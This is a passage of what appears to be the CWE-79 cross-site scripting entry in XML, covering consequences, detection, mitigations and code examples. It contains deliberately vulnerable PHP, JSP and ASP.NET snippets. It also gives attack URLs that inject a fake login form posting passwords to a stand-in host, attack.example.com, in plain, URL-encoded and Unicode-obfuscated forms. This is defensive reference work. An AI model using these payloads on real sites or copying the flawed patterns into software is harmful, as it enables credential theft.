						site on behalf of the victim, which could be especially dangerous to the
						site if the victim has administrator privileges to manage that site.
						Phishing attacks could be used to emulate trusted web sites and trick the
						victim into entering a password, allowing the attacker to compromise the
						victim's account on that web site. Finally, the script could exploit a
						vulnerability in the web browser itself possibly taking over the victim's
						machine, sometimes referred to as "drive-by hacking."</Text>
					          <Text>In many cases, the attack can be launched without the victim even being
						aware of it. Even with careful users, attackers frequently use a variety of
						methods to encode the malicious portion of the attack, such as URL encoding
						or Unicode, so the request looks less suspicious.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>725</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>494</Relationship_Target_ID>
					          <!--Download of Code Without Integrity Check-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Compound_Element</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>352</Relationship_Target_ID>
					          <!--Cross-Site Request Forgery (CSRF)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>712</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>811</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Architectural_Paradigms>
					          <Architectural_Paradigm Architectural_Paradigm_Name="Web-based" Prevalence="Often"/>
				        </Architectural_Paradigms>
				        <Technology_Classes>
					          <Technology_Class Prevalence="Often" Technology_Name="Web-Server"/>
				        </Technology_Classes>
				        <Platform_Notes>
					          <Text>XSS flaws are very common in web applications since they require a great
						deal of developer discipline to avoid them.</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text_Title>Same Origin Policy</Text_Title>
					          <Text>The same origin policy states that browsers should limit the resources
						accessible to scripts running on a given web site, or "origin", to the
						resources associated with that web site on the client-side, and not the
						client-side resources of any other sites or "origins". The goal is to
						prevent one site from being able to modify or read the contents of an
						unrelated site. Since the World Wide Web involves interactions between many
						sites, this policy is important for browsers to enforce.</Text>
					          <Text_Title>Domain</Text_Title>
					          <Text>The Domain of a website when referring to XSS is roughly equivalent to the
						resources associated with that website on the client-side of the connection.
						That is, the domain can be thought of as all resources the browser is
						storing for the user's interactions with this particular site.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>XSS</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>CSS</Term>
					          <Alternate_Term_Description>
						            <Text>"CSS" was once used as the acronym for this problem, but this could
							cause confusion with "Cascading Style Sheets," so usage of this acronym
							has declined significantly.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Cross-site scripting attacks may occur anywhere that possibly malicious
						users are allowed to post unregulated material to a trusted web site for the
						consumption of other valid users, commonly on places such as bulletin-board
						web sites which provide web based mailing list-style functionality.</Text>
					          <Text>Stored XSS got its start with web sites that offered a "guestbook" to
						visitors. Attackers would include JavaScript in their guestbook entries, and
						all subsequent visitors to the guestbook page would execute the malicious
						code. As the examples demonstrate, XSS vulnerabilities are caused by code
						that includes unvalidated data in an HTTP response.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The most common attack performed with cross-site scripting involves
							the disclosure of information stored in user cookies. Typically, a
							malicious user will craft a client-side script, which -- when parsed by
							a web browser -- performs some activity (such as sending all site
							cookies to a given E-mail address). This script will be loaded and run
							by each user visiting the web site. Since the site requesting to run the
							script has access to the cookies in question, the malicious script does
							also.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some circumstances it may be possible to run arbitrary code on a
							victim's computer when cross-site scripting is combined with other
							flaws.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The consequence of an XSS attack is the same regardless of whether it
							is stored or reflected. The difference is in how the payload arrives at
							the server.</Text>
						            <Text>XSS can cause a variety of problems for the end user that range in
							severity from an annoyance to complete account compromise. Some
							cross-site scripting vulnerabilities can be exploited to manipulate or
							steal cookies, create requests that can be mistaken for those of a valid
							user, compromise confidential information, or execute malicious code on
							the end user systems for a variety of nefarious purposes. Other damaging
							attacks include the disclosure of end user files, installation of Trojan
							horse programs, redirecting the user to some other page or site, running
							"Active X" controls (under Microsoft Internet Explorer) from sites that
							a user perceives as trustworthy, and modifying presentation of
							content.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible, especially when multiple components are
							involved.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use the XSS Cheat Sheet [R.79.6] or automated test-generation tools to
							help launch a wide variety of attacks against your web application. The
							Cheat Sheet contains many subtle XSS variations that are specifically
							targeted against weak XSS defenses.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>With Stored XSS, the indirection caused by the data store can make it
							more difficult to find the problem. The tester must first inject the XSS
							string into the data store, then find the appropriate application
							functionality in which the XSS string is sent to other users of the
							application. These are two distinct steps in which the activation of the
							XSS can take place minutes, hours, or days after the XSS was originally
							injected into the data store.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Examples of libraries and frameworks that make it easier to generate
							properly encoded output include Microsoft's Anti-XSS library, the OWASP
							ESAPI Encoding module, and Apache Wicket.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand the context in which your data will be used and the
							encoding that will be expected. This is especially important when
							transmitting data between different components, or when generating
							outputs that can contain multiple encodings at the same time, such as
							web pages or multi-part mail messages. Study all expected communication
							protocols and data representations to determine the required encoding
							strategies.</Text>
						            <Text>For any data that will be output to another web page, especially any
							data that was received from external inputs, use the appropriate
							encoding on all non-alphanumeric characters.</Text>
						            <Text>Parts of the same output document may require different encodings,
							which will vary depending on whether the output is in the:</Text>
						            <Block Block_Nature="List">
							              <Text>HTML body</Text>
							              <Text>Element attributes (such as src="XYZ")</Text>
							              <Text>URIs</Text>
							              <Text>JavaScript sections</Text>
							              <Text>Cascading Style Sheets and style property</Text>
						            </Block>
						            <Text>etc. Note that HTML Entity Encoding is only appropriate for the HTML
							body.</Text>
						            <Text>Consult the XSS Prevention Cheat Sheet [R.79.16] for more details on
							the types of encoding and escaping that are needed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Understand all the potential areas where untrusted inputs can enter
							your software: parameters or arguments, cookies, anything read from the
							network, environment variables, reverse DNS lookups, query results,
							request headers, URL components, e-mail, files, filenames, databases,
							and any external systems that provide data to the application. Remember
							that such inputs may be obtained indirectly through API calls.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This technique has limited effectiveness, but can be helpful when it
							is possible to store client state and sensitive information on the
							server side instead of in cookies, headers, hidden form fields,
							etc.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-27">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Parameterization</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>If available, use structured mechanisms that automatically enforce the
							separation between data and code. These mechanisms may be able to
							provide the relevant quoting, encoding, and validation automatically,
							instead of relying on the developer to provide this capability at every
							point where output is generated. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-43">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>With Struts, write all data from form beans with the bean's filter
							attribute set to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When dynamically constructing web pages, use stringent whitelists that
							limit the character set based on the expected value of the parameter in
							the request. All input should be validated and cleansed, not just
							parameters that the user is supposed to specify, but all data in the
							request, including hidden fields, cookies, headers, the URL itself, and
							so forth. A common mistake that leads to continuing XSS vulnerabilities
							is to validate only fields that are expected to be redisplayed by the
							site. It is common to see data from the request that is reflected by the
							application server or the application that the development team did not
							anticipate. Also, a field that is not currently reflected may be used by
							a future developer. Therefore, validating ALL parts of the HTTP request
							is recommended.</Text>
						            <Text>Note that proper output encoding, escaping, and quoting is the most
							effective solution for preventing XSS, although input validation may
							provide some defense-in-depth. This is because it effectively limits
							what will appear in output. Input validation will not always prevent
							XSS, especially if you are required to support free-form text fields
							that could contain arbitrary characters. For example, in a chat
							application, the heart emoticon ("&lt;3") would likely pass the
							validation step, since it is commonly used. However, it cannot be
							directly inserted into the web page because it contains the "&lt;"
							character, which would need to be escaped or otherwise handled. In this
							case, stripping the "&lt;" might reduce the risk of XSS, but it
							would produce incorrect behavior because the emoticon would not be
							recorded. This might seem to be a minor inconvenience, but it would be
							more important in a mathematical forum that wants to represent
							inequalities.</Text>
						            <Text>Even if you make a mistake in your validation (such as forgetting one
							out of 100 input fields), appropriate encoding is still likely to
							protect you from injection-based attacks. As long as it is not done in
							isolation, input validation is still a useful technique, since it may
							significantly reduce your attack surface, allow you to detect some
							attacks, and provide other security benefits that proper encoding does
							not address.</Text>
						            <Text>Ensure that you perform input validation at well-defined interfaces
							within the application. This will help protect the application even if a
							component is reused or moved elsewhere.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-29">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Firewall</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an application firewall that can detect attacks against this
							weakness. It can be beneficial in cases in which the code cannot be
							fixed (because it is controlled by a third party), as an emergency
							prevention measure while more comprehensive software assurance measures
							are applied, or to provide defense in depth.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>An application firewall might not cover all possible input vectors. In
							addition, attack techniques might be available to bypass the protection
							mechanism, such as using malformed inputs that can still be processed by
							the component that receives those inputs. Depending on functionality, an
							application firewall might inadvertently reject or modify legitimate
							requests. Finally, some manual effort may be required for
							customization.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-16">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When using PHP, configure the application so that it does not use
							register_globals. During implementation, develop the application so that
							it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code displays a welcome message on a web page based on the
						HTTP GET username parameter. This example covers a Reflected XSS (Type 1)
						scenario.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $username = $_GET['username'];</Code>
							              <Code>echo '&lt;div class="header"&gt; Welcome, ' . $username .
								'&lt;/div&gt;';</Code>
						            </Block>
						            <Text>Because the parameter can be arbitrary, the url of the page could be
							modified so $username contains scripting syntax, such as</Text>
						            <Block Block_Nature="Attack">
							              <Code>http://trustedSite.example.com/welcome.php?username=&lt;Script
								Language="Javascript"&gt;alert("You've been
								attacked!");&lt;/Script&gt;</Code>
						            </Block>
						            <Text>This results in a harmless alert dialogue popping up. Initially this
							might not appear to be much of a vulnerability. After all, why would
							someone enter a URL that causes malicious code to run on their own
							computer? The real danger is that an attacker will create the malicious
							URL, then use e-mail or social engineering tricks to lure victims into
							visiting a link to the URL. When victims click the link, they
							unwittingly reflect the malicious content through the vulnerable web
							application back to their own computers.</Text>
						            <Text>More realistically, the attacker can embed a fake login box on the
							page, tricking the user into sending his password to the
							attacker:</Text>
						            <Block Block_Nature="Attack">
							              <Code>http://trustedSite.example.com/welcome.php?username=&lt;div
								id="stealPassword"&gt;Please Login:&lt;form name="input"
								action="http://attack.example.com/stealPassword.php"
								method="post"&gt;Username: &lt;input type="text"
								name="username" /&gt;&lt;br/&gt;Password: &lt;input
								type="password" name="password" /&gt;&lt;input type="submit"
								value="Login"
								/&gt;&lt;/form&gt;&lt;/div&gt;</Code>
						            </Block>
						            <Text>If a user clicks on this link then Welcome.php will generate the
							following HTML and send it to the user's browser: </Text>
						            <Block Block_Nature="Result">
							              <Code>&lt;div class="header"&gt; Welcome, </Code>
							              <Block>
								                <Code> &lt;div id="stealPassword"&gt;Please Login: </Code>
								                <Block>
									                  <Code> &lt;form name="input"
										action="attack.example.com/stealPassword.php"
										method="post"&gt;</Code>
									                  <Block>
										                    <Code> Username: &lt;input type="text" name="username"
											/&gt;</Code>
										                    <Code> &lt;br/&gt;</Code>
										                    <Code> Password: &lt;input type="password"
											name="password" /&gt;</Code>
										                    <Code> &lt;input type="submit" value="Login"
											/&gt;</Code>
									                  </Block>
									                  <Code> &lt;/form&gt;</Code>
								                </Block>
								                <Code> &lt;/div&gt;</Code>
							              </Block>
							              <Code>&lt;/div&gt;</Code>
						            </Block>
						            <Text/>
						            <Text>The trustworthy domain of the URL may falsely assure the user that it
							is OK to follow the link. However, an astute user may notice the
							suspicious text appended to the URL. An attacker may further obfuscate
							the URL (the following example links are broken into multiple lines for
							readability):</Text>
						            <Block Block_Nature="Attack">
							              <Code>trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22</Code>
							              <Code>stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input</Code>
							              <Code>%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php</Code>
							              <Code>%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text</Code>
							              <Code>%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A</Code>
							              <Code>+%3Cinput+type%3D%22password%22+name%3D%22password%22</Code>
							              <Code>+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22</Code>
							              <Code>+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A</Code>
						            </Block>
						            <Text>The same attack string could also be obfuscated as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>trustedSite.example.com/welcome.php?username=&lt;script+type="text/javascript"&gt;</Code>
							              <Code>document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073</Code>
							              <Code>\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064</Code>
							              <Code>\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067</Code>
							              <Code>\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D</Code>
							              <Code>\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063</Code>
							              <Code>\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F</Code>
							              <Code>\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D</Code>
							              <Code>\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061</Code>
							              <Code>\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068</Code>
							              <Code>\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070</Code>
							              <Code>\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D</Code>
							              <Code>\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079</Code>
							              <Code>\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061</Code>
							              <Code>\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065</Code>
							              <Code>\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073</Code>
							              <Code>\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075</Code>
							              <Code>\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073</Code>
							              <Code>\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022</Code>
							              <Code>\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E</Code>
							              <Code>\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D</Code>
							              <Code>\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C</Code>
							              <Code>\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F</Code>
							              <Code>\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');&lt;/script&gt;</Code>
						            </Block>
						            <Text>Both of these attack links will result in the fake login box appearing
							on the page, and users are more likely to ignore indecipherable text at
							the end of URLs. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example also displays a Reflected XSS (Type 1)
						scenario.</Intro_Text>
					          <Example_Body>
						            <Text>The following JSP code segment reads an employee ID, eid, from an HTTP
							request and displays it to the user.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>&lt;% String eid = request.getParameter("eid");
								%&gt;</Code>
							              <Code>...</Code>
							              <Code>Employee ID: &lt;%= eid %&gt;</Code>
						            </Block>
						            <Text>The following ASP.NET code segment reads an employee ID number from an
							HTTP request and displays it to the user.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>protected System.Web.UI.WebControls.TextBox Login;</Code>
							              <Code>protected System.Web.UI.WebControls.Label EmployeeID;</Code>
							              <Code>...</Code>
							              <Code>EmployeeID.Text = Login.Text;</Code>
							              <Code>... (HTML follows) ...</Code>
							              <Code>&lt;p&gt;&lt;asp:label id="EmployeeID" runat="server"
								/&gt;&lt;/p&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The code in this example operates correctly if the Employee ID
							variable contains only standard alphanumeric text. If it has a value
							that includes meta-characters or source code, then the code will be
							executed by the web browser as it displays the HTTP response.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example covers a Stored XSS (Type 2) scenario.</Intro_Text>
					          <Example_Body>
						            <Text>The following JSP code segment queries a database for an employee with
							a given ID and prints the corresponding employee's name.</Text>
